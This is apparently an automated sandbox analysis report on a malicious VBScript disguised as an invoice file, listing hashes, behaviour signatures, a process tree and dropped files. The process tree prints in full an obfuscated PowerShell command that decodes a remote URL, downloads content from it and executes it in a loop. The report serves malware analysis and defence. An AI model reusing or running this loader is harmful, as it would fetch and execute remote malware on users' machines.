Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    14/06/2024, 18:13

General

  • Target

    FILE_SC7678-2024_73664774643_66773635466_904088477321.vbs

  • Size

    22KB

  • MD5

    7069ed97b8f0d124e27b5661ca21d3f8

  • SHA1

    ea1378c90018b9b047a576cdbc82b6c08ea3c02d

  • SHA256

    c1bdaee5fbb07524124295860759ee7feed5eacba39c10c1bb26071093f8c7ff

  • SHA512

    3c29ad49bb77af794eaa631988baf99a0aec50d7dea2ee1a79e3cd67ceb629fc5813d54241d8ad28b141aa7b4220d792d189fec3f47c0fd80fc060c7673a67f5

  • SSDEEP

    384:z287P6RjC5x0ePogJ5Ka+Pp7al0Qg6WoxD8Mcq3a1E8d9ygbscesQcXjEHaI3nY4:z287P6RjCr0ePNJ5Ka+Pp7alk7oHcqq6

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FILE_SC7678-2024_73664774643_66773635466_904088477321.vbs"
    1⤵
    • Blocklisted process makes network request
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:1752
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden "$Stalinorglernes = 1;$darnedest='ring';$spedalskheds='S';Function Udbeningerne($Entitets20){$flskesmaakdet=$Entitets20.Length-$Stalinorglernes;$Devilishness=$spedalskheds+'ubst'+$darnedest;For( $Rebellious=4;$Rebellious -lt $flskesmaakdet;$Rebellious+=5){$Memorability+=$Entitets20.$Devilishness.Invoke( $Rebellious, $Stalinorglernes);}$Memorability;}function sealet($Firemandswhist){ & ($Preflattery) ($Firemandswhist);}$Naos158=Udbeningerne 'K.rdMVedkoSupezUpliiHandlOve,lJi.gaAfst/G,yw5Foge.M,mo0Diap ta l(,illWLedeiDoddnRicidA droDetewHaems.pur Mat.NSkrlTD,na Unde1brdl0F,ne.Rynk0Mode;Desm KlarWS.ksivot.nNorm6W.nd4N,tr;exum Krydxejde6 ,ar4Bihe;Musc CounrCo,ev.ner:Magn1 ,or2 Non1Chon.Sauc0Fa.i)Preb teleGNookeInfec rrek.yldoReag/Abai2 Bar0 Sub1Bayr0,neq0.are1Diel0Aqua1Natu An dFTetriShorrU,leeOpahfO.sho ChaxDoku/Fisk1Frem2Cape1Offs.fo d0 sys ';$Vivified=Udbeningerne 'obs,UkrypsX rneBuskrShea-LockAFpspgHelte AdrnSte.t Pru ';$Frskolealdrenes=Udbeningerne 'BekrhSejut awktSkolp El.s ,um:X no/Go,b/ Dandsagaa ammt ,reeStopaBetvdAmbivMultiUn.oeKendsSkyu.Lkusn Manlover/ .ekcAmoegTr miMixe-Asdib M.tiSkadnRdby/Str,P SecoPos,sTi sn VitaSe,inU ati.ifeaHydrnOpby. Extt Laeh drinR,de ';$Rnen=Udbeningerne 'R,ve>Serv ';$Preflattery=Udbeningerne ' .amiRed.eUninxComp ';$Sammenklumpningernes='Vejgreb';$Fangstkvoten = Udbeningerne 'UndaePo ncDiffhUdbuoKrat ont% DenaIntepCo,tpM.shdGestaUnortWi.pa asa%.iob\ AmoQK,esu Ko.aP.eat SacrA.teaS vvlTill.BabeU.ishn Resrboul Stu,&,ari&Ac n KryeNvnic ,odhrandoPlo. decutT.ma ';sealet (Udbeningerne ',esk$Opo g,utolNo,co PilbtripaFishl Rej:Se,vKGl.erSvajo TempRefad He.uInn eSyn.s.ost= Go,(BuricSjlsmteksd Su, vin/LamecByg. Pro$ UnwFAut.aSwarnHomogpetisTidst Refk.enrvDonkoSemitE,teeAn sn ,nk)Atte ');sealet (Udbeningerne 'Mi.j$ RelgPaaslmauloRaabbU spaholll Be,:.lvrRGenee Jo,hBustnHeligSupeemilir ,uvs For1,nfr9 Arc8 B,a= Uan$ KeeFIndur BelsaecikmaxgoAfsllFreme LetaB lllRunhdGar rfriae .hanVarmeSd,ys.eto.NitrsOverp rbelAabei,orstEt r(Par $EsseR Genn Shae PosnKa.s)V kt ');$Frskolealdrenes=$Rehngers198[0];$Curtailed= (Udbeningerne 'Over$ UndgDis,lM ndo xpobBalmaFactlDiak:CoadkSdesa BortPrevhVi.orBanki BronforvsAfs.=Cur.NA,baeFremwMaud-BeduO FonbUdkrj F,bePmkucE,sitBeme Fr nSBovny,napsKurttcoune ,trmRett.FremNAmaleSubstPoro.SkraWB llemos.b,araCEpiglSo si Bile Ud n,rumt');$Curtailed+=$Kropdues[1];sealet ($Curtailed);sealet (Udbeningerne 'Huth$AminkEx.ua letVidehKpperUh,ri A.rnFasts Tet. OveH T ceSlouaEe,edHan eDi,prMlgts.end[ Sem$Mo iVlithi TopvUnfliSvedfLipui miseKapidToxo]T te=Rh,t$Ho.iN ,uba LnsoBurbsStun1Kurs5Acin8Cyli ');$Cyclothurine=Udbeningerne 'Sche$Fej,kcercacos.t.ateh SkarGaliiS,kunabnosHens.Sp.yDInd.oBe.pwChimnCr slDiskoCharaHvald melFhaaniImbelRem,eA nd( ol$AgalFBib.rRegesUndekGlooo nrel .oreDervaOverlEndodHjemrhjoreEstinStj.eAngss T.n,G.av$theaFD,xtaFar.sTophtTj rlselwgDec.gUddaeMeha) Bag ';$Fastlgge=$Kropdues[0];sealet (Udbeningerne 'Iphi$,estgSekulSp,ko ap bHaanaStocl Ov.:MyxoBKo.feIn.ia Pals ,retSperiBarbeOprysSula=Tall( Tr Tper,e arrsE,tetStoo- TypP D,raGovet MamhEx.e kara$ SubF BeraM.rpsGe at In,lp tegf.tagPinaeB dd)kank ');while (!$Beasties) {sealet (Udbeningerne 'Sv.m$Subcg erel An,o Sipb GymaMo,olForg:Ho,mA.okum olb FyseShelr Hex=Mall$ComptSal rAutouInfee Exe ') ;sealet $Cyclothurine;sealet (Udbeningerne 'WhisSDagpt BooaI terBestt Un -MiswS ,apl .oceGo sePirapMud .kol4 Wan ');sealet (Udbeningerne '.rol$Indsg A.blreino Bo bUnf,a Pacl Udb:St.dBTanteMelaaImp,sTen tB,akibhaveS ums.ypo=Good( BarTklkre eursHamstUdsl-BesgP,ygeab,vitGearhblas La,r$ulmeF Astajapasragltyppel oragBoergbeepe,edi)rack ') ;sealet (Udbeningerne 'War,$Itc,g A,hl kapo E.sbMediaEmbolverd:YderSSengtAca yAnsvki teeCatetProt=Tope$ Kuag Tm,l ,vioGe.ebpre aOpk.lSlad: F lLCliquReakrHusmi asef RefaAdjukFejls Arm+.yro+ mer% But$FremRsuppe Fjoh hjen .argVrele.erar SlmsDe,e1no,p9Ambo8.est.SmigcErotoGorauBearnSul tSupe ') ;$Frskolealdrenes=$Rehngers198[$Styket];}$Skatteansttelser=295766;$Asylums=27528;sealet (Udbeningerne ' Alt$PinbgP atlUbekoR.stbHumoaSubclMell:annsF enft Hi.pM.li Bogi=Veti ind GNo,aeExset .ef-S ksCMagao NoanForntSna,eSlagnBrastEmpo ara$Ale,FD,akaForesMaz,t Du,lSp,sgMicrgHamse h d ');sealet (Udbeningerne ' Ser$HydrgMonoljewpoTe nbJubiaM ndlPara:,mbePBustuKldnpCornpiag,eBemurOvers Hng Para=rapt Bond[,lkeSAmeny ,als Begt Bo.ePu,lmBurr.K.kaCBuksoFamin V.lvMagre Lyor agbt Fri]Chim:Hove:Fde,F P,erTeksoLastmU,skB Skra i,ds Ho e Nav6Inte4Si,uSLemmtUd.ar ReniSandnFelsg Con(Tegm$FlueFUd at.awbp Ytt),orp ');sealet (Udbeningerne 'Cote$exteg S,elKereoSuumbM niaTilll,ent:ForeTUdenrAlipu SchtRonim revu .amnPinndPosteSub. Tue=Mann livs[TjenSCottyStersindttSynaeAcromBykv. nkaT.mbiepreexGelitretr.scanELakan Be,cBirdo Ta.dChami romnMdergKapn]Unde:Hand: O,lALancSHippCSprjIAu,tIBour.FretGChiae ert eagSExodtRa.ir upiKuglnCompg Frk( .on$S,imPDaymuMuhap BlapStoreudprr ppsNonl)U,de ');sealet (Udbeningerne 'mili$InfugPreqlHemioUnpab ,elaF,rmlM rr:tudsT,ivir nfeDogmg,ariaStrad DreyB.ndnPenseTut,=Spiv$SubbTIstarUnm u bi.tBlanmNa.wuprosnInd.dFodbe Tab. ,ussCheeuRetvbKicksBacktHuser Ka,isyntnBaadgLagu(F.it$,olvSRohokdelmaPur tPar,t.isoe Ba,aLu snG.nns.egltBagst Mi eUdl.lKands Tume Skir abr,Kark$NougAPicksS tiyC.tylDioxuStimm Br,sCrow)Ciga ');sealet $Tregadyne;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2708
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Quatral.Unr && echo t"
        3⤵
          PID:2456

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      70KB

      MD5

      49aebf8cbd62d92ac215b2923fb1b9f5

      SHA1

      1723be06719828dda65ad804298d0431f6aff976

      SHA256

      b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

      SHA512

      bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

    • C:\Users\Admin\AppData\Local\Temp\Tar1B24.tmp

      Filesize

      181KB

      MD5

      4ea6026cf93ec6338144661bf1202cd1

      SHA1

      a1dec9044f750ad887935a01430bf49322fbdcb7

      SHA256

      8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

      SHA512

      6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

    • memory/2708-40-0x000007FEF59EE000-0x000007FEF59EF000-memory.dmp

      Filesize

      4KB

    • memory/2708-41-0x000000001B740000-0x000000001BA22000-memory.dmp

      Filesize

      2.9MB

    • memory/2708-42-0x0000000002710000-0x0000000002718000-memory.dmp

      Filesize

      32KB

    • memory/2708-43-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp

      Filesize

      9.6MB

    • memory/2708-44-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp

      Filesize

      9.6MB

    • memory/2708-45-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp

      Filesize

      9.6MB

    • memory/2708-46-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp

      Filesize

      9.6MB

    • memory/2708-47-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp

      Filesize

      9.6MB

    • memory/2708-48-0x000007FEF59EE000-0x000007FEF59EF000-memory.dmp

      Filesize

      4KB

    • memory/2708-49-0x000007FEF5730000-0x000007FEF60CD000-memory.dmp

      Filesize

      9.6MB